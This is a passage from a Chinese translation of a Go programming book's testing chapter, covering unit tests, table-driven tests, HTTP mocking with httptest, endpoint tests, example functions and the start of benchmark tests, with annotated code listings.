\"%s\" for status code \"%d\"", 20 url, statusCode) 21 { 22 resp, err := http.Get(url) 23 if err != nil { 24 t.Fatal("\t\tShould be able to make the Get call.", 25 ballotX, err) 26 } 27 t.Log("\t\tShould be able to make the Get call.", 28 checkMark) 29 30 defer resp.Body.Close() 31 32 if resp.StatusCode == statusCode { 33 t.Logf("\t\tShould receive a \"%d\" status. %v", 34 statusCode, checkMark) 35 } else { 36 t.Errorf("\t\tShould receive a \"%d\" status. %v %v", 37 statusCode, ballotX, resp.StatusCode) 38 } 39 } 40 } 41 } 代码清单 9-1 展示了测试 http 包的 Get 函数的单元测试。测试的内容是确保可以从网络正 常下载 goinggo.net 的 RSS 列表。如果通过调用 go test -v 来运行这个测试(-v 表示提供冗 余输出),会得到图 9-1 所示的测试结果。 图 9-1 基础单元测试的输出 这个例子背后发生了很多事情,来确保测试能正确工作,并显示结果。让我们从测试文件的 文件名开始。如果查看代码清单 9-1 一开始的部分,会看到测试文件的文件名是 listing01_test.go。 Go 语言的测试工具只会认为以_test.go 结尾的文件是测试文件。如果没有遵从这个约定,在包里 运行 go test 的时候就可能会报告没有测试文件。一旦测试工具找到了测试文件,就会查找里 面的测试函数并执行。 让我们仔细看看 listing01_test.go 测试文件里面的代码,如代码清单 9-2 所示。 代码清单 9-2 listing01_test.go:第 01 行到第 10 行 01 // 这个示例程序展示如何写基础单元测试 02 package listing01 03 04 import ( 05 "net/http" 06 "testing" 07 ) 08 09 const checkMark = "\u2713" 10 const ballotX = "\u2717" 在代码清单 9-2 里,可以看到第 06 行引入了 testing 包。这个 testing 包提供了从测试 框架到报告测试的输出和状态的各种测试功能的支持。第 09 行和第 10 行声明了两个常量,这两 个常量包含写测试输出时会用到的对号(√)和叉号(×)。 接下来,让我们看一下测试函数的声明,如代码清单 9-3 所示。 代码清单 9-3 listing01_test.go:第 12 行到第 13 行 12 // TestDownload 确认 http 包的 Get 函数可以下载内容 13 func TestDownload(t *testing.T) { 在代码清单 9-3 的第 13 行中,可以看到测试函数的名字是 TestDownload。一个测试函数 必须是公开的函数,并且以 Test 单词开头。不但函数名字要以 Test 开头,而且函数的签名必 须接收一个指向 testing.T 类型的指针,并且不返回任何值。如果没有遵守这些约定,测试框 架就不会认为这个函数是一个测试函数,也不会让测试工具去执行它。 指向testing.T类型的指针很重要。这个指针提供的机制可以报告每个测试的输出和状态。 测试的输出格式没有标准要求。我更喜欢使用 Go 写文档的方式,输出容易读的测试结果。对我 来说,测试的输出是代码文档的一部分。测试的输出需使用完整易读的语句,来记录为什么需要 这个测试,具体测试了什么,以及测试的结果是什么。让我们来看一下更多的代码,了解我是如 何完成这些测试的,如代码清单 9-4 所示。 代码清单 9-4 listing01_test.go:第 14 行到第 18 行 14 url := "http://www.goinggo.net/feeds/posts/default?alt=rss" 15 statusCode := 200 16 17 t.Log("Given the need to test downloading content.") 18 { 可以看到,在代码清单 9-4 的第 14 行和第 15 行,声明并初始化了两个变量。这两个变量包 含了要测试的 URL,以及期望从响应中返回的状态。在第 17 行,使用方法 t.Log 来输出测试 的消息。这个方法还有一个名为 t.Logf 的版本,可以格式化消息。如果执行 go test 的时候 没有加入冗余选项(-v),除非测试失败,否则我们是看不到任何测试输出的。 每个测试函数都应该通过解释这个测试的给定要求(given need),来说明为什么应该存在这 个测试。对这个例子来说,给定要求是测试能否成功下载数据。在声明了测试的给定要求后,测 试应该说明被测试的代码应该在什么情况下被执行,以及如何执行。 代码清单 9-5 listing01_test.go:第 19 行到第 21 行 19 t.Logf("\tWhen checking \"%s\" for status code \"%d\"", 20 url, statusCode) 21 { 可以在代码清单 9-5 的第 19 行看到测试执行条件的说明。它特别说明了要测试的值。接下 来,让我们看一下被测试的代码是如何使用这些值来进行测试的。 代码清单 9-6 listing01_test.go:第 22 行到第 30 行 22 resp, err := http.Get(url) 23 if err != nil { 24 t.Fatal("\t\tShould be able to make the Get call.", 25 ballotX, err) 26 } 27 t.Log("\t\tShould be able to make the Get call.", 28 checkMark) 29 30 defer resp.Body.Close() 代码清单 9-6 中的代码使用 http 包的 Get 函数来向 goinggo.net 网络服务器发起请求,请 求下载该博客的 RSS 列表。在 Get 调用返回之后,会检查错误值,来判断调用是否成功。在每 种情况下,我们都会说明测试应有的结果。如果调用失败,除了结果,还会输出叉号以及得到的 错误值。如果测试成功,会输出对号。 如果 Get 调用失败,使用第 24 行的 t.Fatal 方法,让测试框架知道这个测试失败了。 t.Fatal 方法不但报告这个单元测试已经失败,而且会向测试输出写一些消息,而后立刻停止 这个测试函数的执行。如果除了这个函数外还有其他没有执行的测试函数,会继续执行其他测试 函数。这个方法对应的格式化版本名为 t.Fatalf。 如果需要报告测试失败,但是并不想停止当前测试函数的执行,可以使用 t.Error 系列方 法,如代码清单 9-7 所示。 代码清单 9-7 listing01_test.go:第 32 行到第 41 行 32 if resp.StatusCode == statusCode { 33 t.Logf("\t\tShould receive a \"%d\" status. %v", 34 statusCode, checkMark) 35 } else { 36 t.Errorf("\t\tShould receive a \"%d\" status. %v %v", 37 statusCode, ballotX, resp.StatusCode) 38 } 39 } 40 } 41 } 在代码清单 9-7 的第 32 行,会将响应返回的状态码和我们期望收到的状态码进行比较。我 们再次声明了期望测试返回的结果是什么。如果状态码匹配,我们就使用 t.Logf 方法输出信息; 否则,就使用 t.Errorf 方法。因为 t.Errorf 方法不会停止当前测试函数的执行,所以,如 果在第 38 行之后还有测试,单元测试就会继续执行。如果测试函数执行时没有调用过 t.Fatal 或者 t.Error 方法,就会认为测试通过了。 如果再看一下测试的输出(如图 9-2 所示),你会看到这段代码组合在一起的效果。 图 9-2 基础单元测试的输出 在图 9-2 中能看到这个测试的完整文档。下载给定的内容,当检测获取 URL 的内容返回的 状态码时(在图中被截断),我们应该能够成功完成这个调用并收到状态 200。测试的输出很清 晰,能描述测试的目的,同时包含了足够的信息。我们知道具体是哪个单元测试被运行,测试通 过了,并且运行消耗的时间是 435 毫秒。 9.1.2 表组测试 如果测试可以接受一组不同的输入并产生不同的输出的代码,那么应该使用表组测试的方法 进行测试。表组测试除了会有一组不同的输入值和期望结果之外,其余部分都很像基础单元测试。 测试会依次迭代不同的值,来运行要测试的代码。每次迭代的时候,都会检测返回的结果。这便 于在一个函数里测试不同的输入值和条件。让我们看一个表组测试的例子,如代码清单 9-8 所示。 代码清单 9-8 listing08_test.go 01 // 这个示例程序展示如何写一个基本的表组测试 02 package listing08 03 04 import ( 05 "net/http" 06 "testing" 07 ) 08 09 const checkMark = "\u2713" 10 const ballotX = "\u2717" 11 12 // TestDownload 确认 http 包的 Get 函数可以下载内容 13 // 并正确处理不同的状态 14 func TestDownload(t *testing.T) { 15 var urls = []struct { 16 url string 17 statusCode int 18 }{ 19 { 20 "http://www.goinggo.net/feeds/posts/default?alt=rss", 21 http.StatusOK, 22 }, 23 { 24 "http://rss.cnn.com/rss/cnn_topstbadurl.rss", 25 http.StatusNotFound, 26 }, 27 } 28 29 t.Log("Given the need to test downloading different content.") 30 { 31 for _, u := range urls { 32 t.Logf("\tWhen checking \"%s\" for status code \"%d\"", 33 u.url, u.statusCode) 34 { 35 resp, err := http.Get(u.url) 36 if err != nil { 37 t.Fatal("\t\tShould be able to Get the url.", 38 ballotX, err) 39 } 40 t.Log("\t\tShould be able to Get the url", 41 checkMark) 42 43 defer resp.Body.Close() 44 45 if resp.StatusCode == u.statusCode { 46 t.Logf("\t\tShould have a \"%d\" status. %v", 47 u.statusCode, checkMark) 48 } else { 49 t.Errorf("\t\tShould have a \"%d\" status %v %v", 50 u.statusCode, ballotX, resp.StatusCode) 51 } 52 } 53 } 54 } 55 } 在代码清单 9-8 中,我们稍微改动了之前的基础单元测试,将其变为表组测试。现在,可以 使用一个测试函数来测试不同的 URL 以及 http.Get 方法的返回状态码。我们不需要为每个要 测试的 URL 和状态码创建一个新测试函数。让我们看一下,和之前相比,做了哪些改动,如代 码清单 9-9 所示。 代码清单 9-9 listing08_test.go:第 12 行到第 27 行 12 // TestDownload 确认 http 包的 Get 函数可以下载内容 13 // 并正确处理不同的状态 14 func TestDownload(t *testing.T) { 15 var urls = []struct { 16 url string 17 statusCode int 18 }{ 19 { 20 "http://www.goinggo.net/feeds/posts/default?alt=rss", 21 http.StatusOK, 22 }, 23 { 24 "http://rss.cnn.com/rss/cnn_topstbadurl.rss", 25 http.StatusNotFound, 26 }, 27 } 在代码清单 9-9 中,可以看到和之前同名的测试函数 TestDownload,它接收一个指向 testing.T 类型的指针。但这个版本的 TestDownload 略微有些不同。在第 15 行到第 27 行, 可以看到表组的实现代码。表组的第一个字段是 URL,指向一个给定的互联网资源,第二个字 段是我们请求资源后期望收到的状态码。 目前,我们的表组只配置了两组值。第一组值是 goinggo.net 的 URL,响应状态为 OK,第 二组值是另一个 URL,响应状态为 NotFound。运行这个测试会得到图 9-3 所示的输出。 图 9-3 表组测试的输出 图 9-3 所示的输出展示了如何迭代表组里的值,并使用其进行测试。输出看起来和基础单元 测试的输出很像,只是每次都会输出两个不同的 URL 及其结果。测试又通过了。 让我们看一下我们是如何让表组测试工作的,如代码清单 9-10 所示。 代码清单 9-10 listing08_test.go:第 29 行到第 34 行 29 t.Log("Given the need to test downloading different content.") 30 { 31 for _, u := range urls { 32 t.Logf("\tWhen checking \"%s\" for status code \"%d\"", 33 u.url, u.statusCode) 34 { 代码清单 9-10 的第 31 行的 for range 循环让测试迭代表组里的值,使用不同的 URL 运 行测试代码。测试的代码与基础单元测试的代码相同,只不过这次使用的是表组内的值进行测试, 如代码清单 9-11 所示。 代码清单 9-11 listing08_test.go:第 35 行到第 55 行 35 resp, err := http.Get(u.url) 36 if err != nil { 37 t.Fatal("\t\tShould be able to Get the url.", 38 ballotX, err) 39 } 40 t.Log("\t\tShould be able to Get the url", 41 checkMark) 42 43 defer resp.Body.Close() 44 45 if resp.StatusCode == u.statusCode { 46 t.Logf("\t\tShould have a \"%d\" status. %v", 47 u.statusCode, checkMark) 48 } else { 49 t.Errorf("\t\tShould have a \"%d\" status %v %v", 50 u.statusCode, ballotX, resp.StatusCode) 51 } 52 } 53 } 54 } 55 } 代码清单 9-11 的第 35 行中展示了代码如何使用 u.url 字段来做 URL 调用。在第 45 行中, u.statusCode 字段被用于和实际的响应状态码进行比较。如果以后需要扩展测试,只需要将 新的 URL 和状态码加入表组就可以,不需要改动测试的核心代码。 9.1.3 模仿调用 我们之前写的单元测试都很好,但是还有些瑕疵。首先,这些测试需要访问互联网,才能保 证测试运行成功。图 9-4 展示了如果没有互联网连接,运行基础单元测试会测试失败。 图 9-4 由于没有互联网连接导致测试失败 不能总是假设运行测试的机器可以访问互联网。此外,依赖不属于你的或者你无法操作的服 务来进行测试,也不是一个好习惯。这两点会严重影响测试持续集成和部署的自动化。如果突然 断网,导致测试失败,就没办法部署新构建的程序。 为了修正这个问题,标准库包含一个名为 httptest 的包,它让开发人员可以模仿基于 HTTP 的网络调用。模仿(mocking)是一个很常用的技术手段,用来在运行测试时模拟访问不 可用的资源。包 httptest 可以让你能够模仿互联网资源的请求和响应。在我们的单元测试中, 通过模仿 http.Get 的响应,我们可以解决在图 9-4 中遇到的问题,保证在没有网络的时候,我 们的测试也不会失败,依旧可以验证我们的 http.Get 调用正常工作,并且可以处理预期的响 应。让我们看一下基础单元测试,并将其改为模仿调用 goinggo.net 网站的 RSS 列表,如代码清 单 9-12 所示。 代码清单 9-12 listing12_test.go:第 01 行到第 41 行 01 // 这个示例程序展示如何内部模仿 HTTP GET 调用 02 // 与本书之前的例子有些差别 03 package listing12 04 05 import ( 06 "encoding/xml" 07 "fmt" 08 "net/http" 09 "net/http/httptest" 10 "testing" 11 ) 12 13 const checkMark = "\u2713" 14 const ballotX = "\u2717" 15 16 // feed 模仿了我们期望接收的 XML 文档 17 var feed = `<?xml version="1.0" encoding="UTF-8"?> 18 <rss> 19 <channel> 20 <title>Going Go Programming</title> 21 <description>Golang : https://github.com/goinggo</description> 22 <link>http://www.goinggo.net/</link> 23 <item> 24 <pubDate>Sun, 15 Mar 2015 15:04:00 +0000</pubDate> 25 <title>Object Oriented Programming Mechanics</title> 26 <description>Go is an object oriented language.</description> 27 <link>http://www.goinggo.net/2015/03/object-oriented</link> 28 </item> 29 </channel> 30 </rss>` 31 32 // mockServer 返回用来处理请求的服务器的指针 33 func mockServer() *httptest.Server { 34 f := func(w http.ResponseWriter, r *http.Request) { 35 w.WriteHeader(200) 36 w.Header().Set("Content-Type", "application/xml") 37 fmt.Fprintln(w, feed) 38 } 39 40 return httptest.NewServer(http.HandlerFunc(f)) 41 } 代码清单 9-12 展示了如何模仿对 goinggo.net 网站的调用,来模拟下载 RSS 列表。在第 17 行中,声明了包级变量 feed,并初始化为模仿服务器返回的 RSS XML 文档的字符串。这是实 际 RSS 文档的一小段,足以完成我们的测试。在第 33 行中,我们声明了一个名为 mockServer 的函数,这个函数利用 httptest 包内的支持来模拟对互联网上真实服务器的调用,如代码清 单 9-13 所示。 代码清单 9-13 listing12_test.go:第 32 行到第 41 行 32 // mockServer 返回用来处理调用的服务器的指针 33 func mockServer() *httptest.Server { 34 f := func(w http.ResponseWriter, r *http.Request) { 35 w.WriteHeader(200) 36 w.Header().Set("Content-Type", "application/xml") 37 fmt.Fprintln(w, feed) 38 } 39 40 return httptest.NewServer(http.HandlerFunc(f)) 41 } 代码清单 9-13 中声明的 mockServer 函数,返回一个指向 httptest.Server 类型的指 针。这个 httptest.Server 的值是整个模仿服务的关键。函数的代码一开始声明了一个匿名 函数,其签名符合 http.HandlerFunc 函数类型,如代码清单 9-14 所示。 代码清单 9-14 golang.org/pkg/net/http/#HandlerFunc type HandlerFunc func(ResponseWriter, *Request) HandlerFunc 类型是一个适配器,允许常规函数作为 HTTP 的处理函数使用。如果函数 f 具有合适的签名, HandlerFunc(f)就是一个处理 HTTP 请求的 Handler 对象,内部通过调用 f 处理请求 遵守这个签名,让匿名函数成了处理函数。一旦声明了这个处理函数,第 40 行就会使用这 个匿名函数作为参数来调用 httptest.NewServer 函数,创建我们的模仿服务器。之后在第 40 行,通过指针返回这个模仿服务器。 我们可以通过 http.Get 调用来使用这个模仿服务器,用来模拟对 goinggo.net 网络服务器 的请求。当进行 http.Get 调用时,实际执行的是处理函数,并用处理函数模仿对网络服务器 的请求和响应。在第 35 行,处理函数首先设置状态码,之后在第 36 行,设置返回内容的类型 Content-Type,最后,在第 37 行,使用包含 XML 内容的字符串 feed 作为响应数据,返回 给调用者。 现在,让我们看一下模仿服务器与基础单元测试是怎么整合在一起的,以及如何将 http.Get 请求发送到模仿服务器,如代码清单 9-15 所示。 代码清单 9-15 listing12_test.go:第 43 行到第 74 行 43 // TestDownload 确认 http 包的 Get 函数可以下载内容 44 // 并且内容可以被正确地反序列化并关闭 45 func TestDownload(t *testing.T) { 46 statusCode := http.StatusOK 47 48 server := mockServer() 49 defer server.Close() 50 51 t.Log("Given the need to test downloading content.") 52 { 53 t.Logf("\tWhen checking \"%s\" for status code \"%d\"", 54 server.URL, statusCode) 55 { 56 resp, err := http.Get(server.URL) 57 if err != nil { 58 t.Fatal("\t\tShould be able to make the Get call.", 59 ballotX, err) 60 } 61 t.Log("\t\tShould be able to make the Get call.", 62 checkMark) 63 64 defer resp.Body.Close() 65 66 if resp.StatusCode != statusCode { 67 t.Fatalf("\t\tShould receive a \"%d\" status. %v %v", 68 statusCode, ballotX, resp.StatusCode) 69 } 70 t.Logf("\t\tShould receive a \"%d\" status. %v", 71 statusCode, checkMark) 72 } 73 } 74 } 在代码清单 9-15 中再次看到了 TestDownload 函数,不过这次它在请求模仿服务器。在第 48 行和第 49 行,调用 mockServer 函数生成模仿服务器,并安排在测试函数返回时执行服务 器的 Close 方法。之后,除了代码清单 9-16 所示的这一行代码,这段测试代码看上去和基础单 元测试的代码一模一样。 代码清单 9-16 listing12_test.go:第 56 行 56 resp, err := http.Get(server.URL) 这次由 httptest.Server 值提供了请求的 URL。当我们使用由模仿服务器提供的 URL 时,http.Get 调用依旧会按我们预期的方式运行。http.Get 方法调用时并不知道我们的调用 是否经过互联网。这次调用最终会执行,并且我们自己的处理函数最终被执行,返回我们预先准 备好的 XML 文档和状态码 http.StatusOK。 在图 9-5 里,如果在没有互联网连接的时候运行测试,可以看到测试依旧可以运行并通过。 这张图展示了程序是如何再次通过测试的。如果仔细看用于调用的 URL,会发现这个 URL 使用 了 localhost 作为地址,端口是 52065。这个端口号每次运行测试时都会改变。包 http 与包 httptest 和模仿服务器结合在一起,知道如何通过 URL 路由到我们自己的处理函数。现在, 我们可以在没有触碰实际服务器的情况下,测试请求 goinggo.net 的 RSS 列表。 图 9-5 没有互联网接入情况下测试成功 9.1.4 测试服务端点 服务端点(endpoint)是指与服务宿主信息无关,用来分辨某个服务的地址,一般是不包含 宿主的一个路径。如果在构造网络 API,你会希望直接测试自己的服务的所有服务端点,而不用 启动整个网络服务。包 httptest 正好提供了做到这一点的机制。让我们看一个简单的包含一 个服务端点的网络服务的例子,如代码清单 9-17 所示,之后你会看到如何写一个单元测试,来 模仿真正的调用。 代码清单 9-17 listing17.go 01 // 这个示例程序实现了简单的网络服务 02 package main 03 04 import ( 05 "log" 06 "net/http" 07 08 "github.com/goinaction/code/chapter9/listing17/handlers" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 handlers.Routes() 14 15 log.Println("listener : Started : Listening on :4000") 16 http.ListenAndServe(":4000", nil) 17 } 代码清单 9-17 展示的代码文件是整个网络服务的入口。在第 13 行的 main 函数里,代码调 用了内部 handlers 包的 Routes 函数。这个函数为托管的网络服务设置了一个服务端点。在 main 函数的第 15 行和第 16 行,显示服务监听的端口,并且启动网络服务,等待请求。 现在让我们来看一下 handlers 包的代码,如代码清单 9-18 所示。 代码清单 9-18 handlers/handlers.go 01 // handlers 包提供了用于网络服务的服务端点 02 package handlers 03 04 import ( 05 "encoding/json" 06 "net/http" 07 ) 08 09 // Routes 为网络服务设置路由 10 func Routes() { 11 http.HandleFunc("/sendjson", SendJSON) 12 } 13 14 // SendJSON 返回一个简单的 JSON 文档 15 func SendJSON(rw http.ResponseWriter, r *http.Request) { 16 u := struct { 17 Name string 18 Email string 19 }{ 20 Name: "Bill", 21 Email: "[email protected]", 22 } 23 24 rw.Header().Set("Content-Type", "application/json") 25 rw.WriteHeader(200) 26 json.NewEncoder(rw).Encode(&u) 27 } 代码清单 9-18 里展示了 handlers 包的代码。这个包提供了实现好的处理函数,并且能为 网络服务设置路由。在第 10 行,你能看到 Routes 函数,使用 http 包里默认的 http.ServeMux 来配置路由,将 URL 映射到对应的处理代码。在第 11 行,我们将/sendjson 服务端点与 SendJSON 函数绑定在一起。 从第 15 行起,是 SendJSON 函数的实现。这个函数的签名和之前看到代码清单 9-14 里 http.HandlerFunc 函数类型的签名一致。在第 16 行,声明了一个匿名结构类型,使用这个 结构创建了一个名为 u 的变量,并赋予一组初值。在第 24 行和第 25 行,设置了响应的内容类型 和状态码。最后,在第 26 行,将 u 值编码为 JSON 文档,并发送回发起调用的客户端。 如果我们构建了一个网络服务,并启动服务器,就可以像图 9-6 和图 9-7 展示的那样,通过 服务获取 JSON 文档。 图 9-6 启动网络服务 图 9-7 网络服务提供的 JSON 文档 现在有了包含一个服务端点的可用的网络服务,我们可以写单元测试来测试这个服务端点, 如代码清单 9-19 所示。 代码清单 9-19 handlers/handlers_test.go 01 // 这个示例程序展示如何测试内部服务端点 02 // 的执行效果 03 package handlers_test 04 05 import ( 06 "encoding/json" 07 "net/http" 08 "net/http/httptest" 09 "testing" 10 11 "github.com/goinaction/code/chapter9/listing17/handlers" 12 ) 13 14 const checkMark = "\u2713" 15 const ballotX = "\u2717" 16 17 func init() { 18 handlers.Routes() 19 } 20 21 // TestSendJSON 测试/sendjson 内部服务端点 22 func TestSendJSON(t *testing.T) { 23 t.Log("Given the need to test the SendJSON endpoint.") 24 { 25 req, err := http.NewRequest("GET", "/sendjson", nil) 26 if err != nil { 27 t.Fatal("\tShould be able to create a request.", 28 ballotX, err) 29 } 30 t.Log("\tShould be able to create a request.", 31 checkMark) 32 33 rw := httptest.NewRecorder() 34 http.DefaultServeMux.ServeHTTP(rw, req) 35 36 if rw.Code != 200 { 37 t.Fatal("\tShould receive \"200\"", ballotX, rw.Code) 38 } 39 t.Log("\tShould receive \"200\"", checkMark) 40 41 u := struct { 42 Name string 43 Email string 44 }{} 45 46 if err := json.NewDecoder(rw.Body).Decode(&u); err != nil { 47 t.Fatal("\tShould decode the response.", ballotX) 48 } 49 t.Log("\tShould decode the response.", checkMark) 50 51 if u.Name == "Bill" { 52 t.Log("\tShould have a Name.", checkMark) 53 } else { 54 t.Error("\tShould have a Name.", ballotX, u.Name) 55 } 56 57 if u.Email == "[email protected]" { 58 t.Log("\tShould have an Email.", checkMark) 59 } else { 60 t.Error("\tShould have an Email.", ballotX, u.Email) 61 } 62 } 63 } 代码清单 9-19 展示了对/sendjson 服务端点的单元测试。注意,第 03 行包的名字和其他 测试代码的包的名字不太一样,如代码清单 9-20 所示。 代码清单 9-20 handlers/handlers_test.go:第 01 行到第 03 行 01 // 这个示例程序展示如何测试内部服务端点 02 // 的执行效果 03 package handlers_test 正如在代码清单 9-20 里看到的,这次包的名字也使用_test 结尾。如果包使用这种方式命 名,测试代码只能访问包里公开的标识符。即便测试代码文件和被测试的代码放在同一个文件夹 中,也只能访问公开的标识符。 就像直接运行服务时一样,需要为服务端点初始化路由,如代码清单 9-21 所示。 代码清单 9-21 handlers/handlers_test.go:第 17 行到第 19 行 17 func init() { 18 handlers.Routes() 19 } 在代码清单 9-21 的第 17 行,声明的 init 函数里对路由进行初始化。如果没有在单元测试 运行之前初始化路由,那么测试就会遇到 http.StatusNotFound 错误而失败。现在让我们看 一下/sendjson 服务端点的单元测试,如代码清单 9-22 所示。 代码清单 9-22 handlers/handlers_test.go:第 21 行到第 34 行 21 // TestSendJSON 测试/sendjson 内部服务端点 22 func TestSendJSON(t *testing.T) { 23 t.Log("Given the need to test the SendJSON endpoint.") 24 { 25 req, err := http.NewRequest("GET", "/sendjson", nil) 26 if err != nil { 27 t.Fatal("\tShould be able to create a request.", 28 ballotX, err) 29 } 30 t.Log("\tShould be able to create a request.", 31 checkMark) 32 33 rw := httptest.NewRecorder() 34 http.DefaultServeMux.ServeHTTP(rw, req) 代码清单 9-22 展示了测试函数 TestSendJSON 的声明。测试从记录测试的给定要求开始, 然后在第 25 行创建了一个 http.Request 值。这个 Request 值使用 GET 方法调用/sendjson 服务端点的响应。由于这个调用使用的是 GET 方法,第三个发送数据的参数被传入 nil。 之后,在第 33 行,调用 httptest.NewRecoder 函数来创建一个 http.ResponseRecorder 值。有了 http.Request 和 http.ResponseRecoder 这两个值,就可以在第 34 行直接调用 服务默认的多路选择器(mux)的 ServeHttp 方法。调用这个方法模仿了外部客户端对 /sendjson 服务端点的请求。 一旦 ServeHTTP 方法调用完成,http.ResponseRecorder 值就包含了 SendJSON 处理 函数的响应。现在,我们可以检查这个响应的内容,如代码清单 9-23 所示。 代码清单 9-23 handlers/handlers_test.go:第 36 行到第 39 行 36 if rw.Code != 200 { 37 t.Fatal("\tShould receive \"200\"", ballotX, rw.Code) 38 } 39 t.Log("\tShould receive \"200\"", checkMark) 首先,在第 36 行检查了响应的状态。一般任何服务端点成功调用后,都会期望得到 200 的 状态码。如果状态码是 200,之后将 JSON 响应解码成 Go 的值。 代码清单 9-24 handlers/handlers_test.go:第 41 行到第 49 行 41 u := struct { 42 Name string 43 Email string 44 }{} 45 46 if err := json.NewDecoder(rw.Body).Decode(&u); err != nil { 47 t.Fatal("\tShould decode the response.", ballotX) 48 } 49 t.Log("\tShould decode the response.", checkMark)” 在代码清单 9-24 的第 41 行,声明了一个匿名结构类型,使用这个类型创建了名为 u 的变量, 并初始化为零值。在第 46 行,使用 json 包将响应的 JSON 文档解码到变量 u 里。如果解码失 败,单元测试结束;否则,我们会验证解码后的值是否正确,如代码清单 9-25 所示。 代码清单 9-25 handlers/handlers_test.go:第 51 行到第 63 行 51 if u.Name == "Bill" { 52 t.Log("\tShould have a Name.", checkMark) 53 } else { 54 t.Error("\tShould have a Name.", ballotX, u.Name) 55 } 56 57 if u.Email == "[email protected]" { 58 t.Log("\tShould have an Email.", checkMark) 59 } else { 60 t.Error("\tShould have an Email.", ballotX, u.Email) 61 } 62 } 63 } 代码清单 9-25 展示了对收到的两个值的检测。在第 51 行,我们检测 Name 字段的值是否为 "Bill",之后在第 57 行,检查 Email 字段的值是否为"[email protected]"。如果 这些值都匹配,单元测试通过;否则,单元测试失败。这两个检测使用 Error 方法来报告失败, 所以不管检测结果如何,两个字段都会被检测。 9.2 示例 Go 语言很重视给代码编写合适的文档。专门内置了 godoc 工具来从代码直接生成文档。在 第 3 章中,我们已经学过如何使用 godoc 工具来生成包的文档。这个工具的另一个特性是示例 代码。示例代码给文档和测试都增加了一个可以扩展的维度。 如果使用浏览器来浏览 json 包的 Go 文档,会看到类似图 9-8 所示的文档。 图 9-8 包 json 的示例代码列表 包 json 含有 5 个示例,这些示例都会在这个包的 Go 文档里有展示。如果选中第一个示例, 会看到一段示例代码,如图 9-9 所示。 图 9-9 Go 文档里显示的 Decoder 示例视图 开发人员可以创建自己的示例,并且在包的 Go 文档里展示。让我们看一个来自前一节例子 的 SendJSON 函数的示例,如代码清单 9-26 所示。 代码清单 9-26 handlers_example_test.go 01 // 这个示例程序展示如何编写基础示例 02 package handlers_test 03 04 import ( 05 "encoding/json" 06 "fmt" 07 "log" 08 "net/http" 09 "net/http/httptest" 10 ) 11 12 // ExampleSendJSON 提供了基础示例 13 func ExampleSendJSON() { 14 r, _ := http.NewRequest("GET", "/sendjson", nil) 15 rw := httptest.NewRecorder() 16 http.DefaultServeMux.ServeHTTP(rw, r) 17 18 var u struct { 19 Name string 20 Email string 21 } 22 23 if err := json.NewDecoder(w.Body).Decode(&u); err != nil { 24 log.Println("ERROR:", err) 25 } 26 27 // 使用 fmt 将结果写到 stdout 来检测输出 28 fmt.Println(u) 29 // Output: 30 // {Bill [email protected]} 31 } 示例基于已经存在的函数或者方法。我们需要使用 Example 代替 Test 作为函数名的开始。 在代码清单 9-26 的第 13 行中,示例代码的名字是 ExampleSendJSON。 对于示例代码,需要遵守一个规则。示例代码的函数名字必须基于已经存在的公开的函数或 者方法。我们的示例的名字基于 handlers 包里公开的 SendJSON 函数。如果没有使用已经存 在的函数或者方法,这个示例就不会显示在包的 Go 文档里。 写示例代码的目的是展示某个函数或者方法的特定使用方法。为了判断测试是成功还是失 败,需要将程序最终的输出和示例函数底部列出的输出做比较,如代码清单 9-27 所示。 代码清单 9-27 handlers_example_test.go:第 27 行到第 31 行 27 // 使用 fmt 将结果写到 stdout 来检测输出 28 fmt.Println(u) 29 // Output: 30 // {Bill [email protected]} 31 } 在代码清单 9-27 的第 28 行,代码使用 fmt.Println 输出变量 u 的值到标准输出。变量 u 的值在调用/sendjson 服务端点之前使用零值初始化。在第 29 行中,有一段带有 Output:的 注释。 这个 Output:标记用来在文档中标记出示例函数运行后期望的输出。Go 的测试框架知道如 何比较注释里的期望输出和标准输出的最终输出。如果两者匹配,这个示例作为测试就会通过, 并加入到包的 Go 文档里。如果输出不匹配,这个示例作为测试就会失败。 如果启动一个本地的 godoc 服务器(godoc -http=":3000"),并找到 handlers 包, 就能看到包含示例的文档,如图 9-10 所示。 在图 9-10 里可以看到 handlers 包的文档里展示了 SendJSON 函数的示例。如果选中这个 SendJSON 链接,文档就会展示这段代码,如图 9-11 所示。 图 9-11 展示了示例的一组完整文档,包括代码和期望的输出。由于这个示例也是测试的一 部分,可以使用 go test 工具来运行这个示例函数,如图 9-12 所示。 图 9-10 handlers 包的 godoc 视图 图 9-11 在 godoc 里显示完整的示例代码 图 9-12 运行示例代码 运行测试后,可以看到测试通过了。这次运行测试时,使用-run 选项指定了特定的函数 ExampleSendJSON。-run 选项接受任意的正则表达式,来过滤要运行的测试函数。这个选项 既支持单元测试,也支持示例函数。如果示例运行失败,输出会与图 9-13 所示的样子类似。 图 9-13 示例运行失败 如果示例运行失败,go test 会同时展示出生成的输出,以及期望的输出。 9.3 基准测试 基准测试是一种测试代码性能的方法。想要测试解决同一问题的不同方案的性能,以及查看 哪种解决方案的性能更好时,基准测试就会很有用。基准测试也可以用来识别某段代码的 CPU 或者内存效率问题,而这段代码的效率可能会严重影响整个应用程序的性能。许多开发人员会用 基准测试来测试不同的并发模式,或者用基准测试来辅助配置工作池的数量,以保证能最大化系 统的吞吐量。 让我们看一组基准测试的函数,找出将整数值转为字符串的最快方法。在标准库里,有 3 种 方法可以将一个整数值转为字符串。 代码清单 9-28 展示了 listing28_test.go 基准测试开始的几行代码。 代码清单 9-28 listing28_test.go:第 01 行到第 10 行 01 // 用来检测要将整数值转为字符串,使用哪个函数会更好的基准 02 // 测试示例。先使用 fmt.Sprintf 函数,然后使用 03 // strconv.FormatInt 函数,最后使用 strconv.Itoa 04 package listing28_test 05 06 import ( 07 "fmt" 08 "strconv" 09 "testing" 10 ) 和单元测试文件一样,基准测试的文件名也必须以_test.go 结尾。同时也必须导入 testing 包。接下来,让我们看一下其中一个基准测试函数,如代码清单 9-29 所示。 代码清单 9-29 listing28_test.go:第 12 行到第 22 行 12 // BenchmarkSprintf 对 fmt.Sprintf 函数 13 // 进行基准测试 14 func BenchmarkSprintf(b *testing.B) { 15 number := 10 16 17 b.ResetTimer() 18 19 for i := 0; i < b.N; i++ { 20 fmt.Sprintf("%d", number) 21 } 22 } 在代码清单 9-29 的第 14 行,可以看到第一个基准测试函数,名为 BenchmarkSprintf。 基准测试函数必须以 Benchmark 开头,接受一个指向 testing.B 类型的指针作为唯一参数。 为了让基准测试框架能准确测试性能,它必须在一段时间内反复运行这段代码,所以这里使用了 for 循环,如代码清单 9-30 所示。 代码清单 9-30 